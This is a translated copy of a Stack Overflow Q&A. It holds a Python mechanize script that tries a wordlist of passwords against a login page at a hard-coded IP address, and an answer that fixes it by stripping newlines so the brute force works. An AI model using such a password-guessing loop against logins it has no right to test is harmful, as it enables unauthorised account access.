繁体   English   中英

Python使用机械化从文本文件登录

[英]Python using mechanize to login from a text file

编辑:是的,这是我自己的网站。

我正在使用一个文本文件,其中有2000多个密码,其中一个是我放置的正确密码,然后用于遍历密码并使用机械化检查它是否是正确的密码。

但是问题是:它永远不会识别它,但是会识别是否将密码设置为正确的密码? 不知道为什么会这样,所以我发布了这个线程。

这是代码:

import mechanize

f = open("words.txt", 'r')                                                # 
opens the word list you specified
for line in f: 

    br = mechanize.Browser() 

    br.open("http://185.40.21.34/pages/examples/login.php")
    br.select_form("form")
    print "Current password:", line

    br["email"] = "Test"
    br["password"] = line
    br.submit()
    if br.geturl() == "http://185.40.21.34/index.php":                      
        print "Password found !"

这是因为当您遍历文件时,所有行都将以\\ n结尾。要更正,您必须编写

line = line.replace('\n', '')

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM